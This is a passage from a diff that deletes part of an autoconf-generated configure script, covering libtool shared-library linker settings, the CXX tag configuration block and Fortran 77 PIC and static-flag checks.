- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_CXX=
-if test -n "$hardcode_libdir_flag_spec_CXX" || \
- test -n "$runpath_var_CXX" || \
- test "X$hardcode_automatic_CXX" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_CXX" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, CXX)" != no &&
- test "$hardcode_minus_L_CXX" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_CXX=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_CXX=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_CXX=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_CXX" >&5
-$as_echo "$hardcode_action_CXX" >&6; }
-
-if test "$hardcode_action_CXX" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_CXX \
- CC_CXX \
- LD_CXX \
- lt_prog_compiler_wl_CXX \
- lt_prog_compiler_pic_CXX \
- lt_prog_compiler_static_CXX \
- lt_prog_compiler_no_builtin_flag_CXX \
- export_dynamic_flag_spec_CXX \
- thread_safe_flag_spec_CXX \
- whole_archive_flag_spec_CXX \
- enable_shared_with_static_runtimes_CXX \
- old_archive_cmds_CXX \
- old_archive_from_new_cmds_CXX \
- predep_objects_CXX \
- postdep_objects_CXX \
- predeps_CXX \
- postdeps_CXX \
- compiler_lib_search_path_CXX \
- archive_cmds_CXX \
- archive_expsym_cmds_CXX \
- postinstall_cmds_CXX \
- postuninstall_cmds_CXX \
- old_archive_from_expsyms_cmds_CXX \
- allow_undefined_flag_CXX \
- no_undefined_flag_CXX \
- export_symbols_cmds_CXX \
- hardcode_libdir_flag_spec_CXX \
- hardcode_libdir_flag_spec_ld_CXX \
- hardcode_libdir_separator_CXX \
- hardcode_automatic_CXX \
- module_cmds_CXX \
- module_expsym_cmds_CXX \
- lt_cv_prog_compiler_c_o_CXX \
- exclude_expsyms_CXX \
- include_expsyms_CXX; do
-
- case $var in
- old_archive_cmds_CXX | \
- old_archive_from_new_cmds_CXX | \
- archive_cmds_CXX | \
- archive_expsym_cmds_CXX | \
- module_cmds_CXX | \
- module_expsym_cmds_CXX | \
- old_archive_from_expsyms_cmds_CXX | \
- export_symbols_cmds_CXX | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_CXX
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_CXX
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_CXX
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_CXX
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_CXX
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="$DLLTOOL"
-
-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
-AS="$AS"
-
-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
-
-# How to create reloadable object files.
-reload_flag=$lt_reload_flag
-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
-wl=$lt_lt_prog_compiler_wl_CXX
-
-# Object file suffix (normally "o").
-objext="$ac_objext"
-
-# Old archive suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='$shrext_cmds'
-
-# Executable file suffix (normally "").
-exeext="$exeext"
-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_lt_prog_compiler_pic_CXX
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
-max_cmd_len=$lt_cv_sys_max_cmd_len
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o=$lt_lt_cv_prog_compiler_c_o_CXX
-
-# Must we lock files when doing compilation?
-need_locks=$lt_need_locks
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=$need_lib_prefix
-
-# Do we need a version for libraries?
-need_version=$need_version
-
-# Whether dlopen is supported.
-dlopen_support=$enable_dlopen
-
-# Whether dlopen of programs is supported.
-dlopen_self=$enable_dlopen_self
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=$enable_dlopen_self_static
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag=$lt_lt_prog_compiler_static_CXX
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_CXX
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec=$lt_whole_archive_flag_spec_CXX
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=$lt_thread_safe_flag_spec_CXX
-
-# Library versioning type.
-version_type=$version_type
-
-# Format of library name prefix.
-libname_spec=$lt_libname_spec
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_old_archive_cmds_CXX
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_CXX
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_CXX
-
-# Commands used to build and install a shared archive.
-archive_cmds=$lt_archive_cmds_CXX
-archive_expsym_cmds=$lt_archive_expsym_cmds_CXX
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=$lt_module_cmds_CXX
-module_expsym_cmds=$lt_module_expsym_cmds_CXX
-
-# Commands to strip libraries.
-old_striplib=$lt_old_striplib
-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=$lt_predep_objects_CXX
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=$lt_postdep_objects_CXX
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_CXX
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_CXX
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_CXX
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_CXX
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_CXX
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_CXX
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_CXX
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_CXX
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_CXX
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_CXX
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_CXX
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_CXX
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_CXX
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_CXX
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_CXX"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_CXX
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_CXX
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_CXX
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_CXX
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC=$lt_save_CC
-LDCXX=$LD
-LD=$lt_save_LD
-GCC=$lt_save_GCC
-with_gnu_ldcxx=$with_gnu_ld
-with_gnu_ld=$lt_save_with_gnu_ld
-lt_cv_path_LDCXX=$lt_cv_path_LD
-lt_cv_path_LD=$lt_save_path_LD
-lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
-lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
-
- else
- tagname=""
- fi
- ;;
-
- F77)
- if test -n "$F77" && test "X$F77" != "Xno"; then
-
-ac_ext=f
-ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5'
-ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_f77_compiler_gnu
-
-
-archive_cmds_need_lc_F77=no
-allow_undefined_flag_F77=
-always_export_symbols_F77=no
-archive_expsym_cmds_F77=
-export_dynamic_flag_spec_F77=
-hardcode_direct_F77=no
-hardcode_libdir_flag_spec_F77=
-hardcode_libdir_flag_spec_ld_F77=
-hardcode_libdir_separator_F77=
-hardcode_minus_L_F77=no
-hardcode_automatic_F77=no
-module_cmds_F77=
-module_expsym_cmds_F77=
-link_all_deplibs_F77=unknown
-old_archive_cmds_F77=$old_archive_cmds
-no_undefined_flag_F77=
-whole_archive_flag_spec_F77=
-enable_shared_with_static_runtimes_F77=no
-
-# Source file extension for f77 test sources.
-ac_ext=f
-
-# Object file extension for compiled f77 test sources.
-objext=o
-objext_F77=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code=" subroutine t\n return\n end\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code=" program t\n end\n"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${F77-"f77"}
-compiler=$CC
-compiler_F77=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-GCC_F77="$G77"
-LD_F77="$LD"
-
-lt_prog_compiler_wl_F77=
-lt_prog_compiler_pic_F77=
-lt_prog_compiler_static_F77=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_static_F77='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_F77='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_F77='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_F77=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_F77=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_F77='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_F77='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_F77='-Bstatic'
- else
- lt_prog_compiler_static_F77='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_F77='-qnocommon'
- lt_prog_compiler_wl_F77='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_F77='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_F77='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_F77='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_F77='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-fpic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_F77='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_F77='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_F77='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_F77='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_F77='-Qoption ld '
- lt_prog_compiler_pic_F77='-PIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_F77='-Kconform_pic'
- lt_prog_compiler_static_F77='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_pic_F77='-KPIC'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_F77='-Wl,'
- lt_prog_compiler_can_build_shared_F77=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_F77='-pic'
- lt_prog_compiler_static_F77='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_F77" >&5
-$as_echo "$lt_prog_compiler_pic_F77" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_F77"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_F77 works... " >&6; }
-if ${lt_prog_compiler_pic_works_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_F77=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_F77"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_F77=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_F77" >&5
-$as_echo "$lt_prog_compiler_pic_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_F77" = xyes; then
- case $lt_prog_compiler_pic_F77 in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_F77=" $lt_prog_compiler_pic_F77" ;;
- esac
-else
- lt_prog_compiler_pic_F77=
- lt_prog_compiler_can_build_shared_F77=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_F77=
- ;;
- *)
- lt_prog_compiler_pic_F77="$lt_prog_compiler_pic_F77"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_F77 eval lt_tmp_static_flag=\"$lt_prog_compiler_static_F77\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_F77+:} false; then :
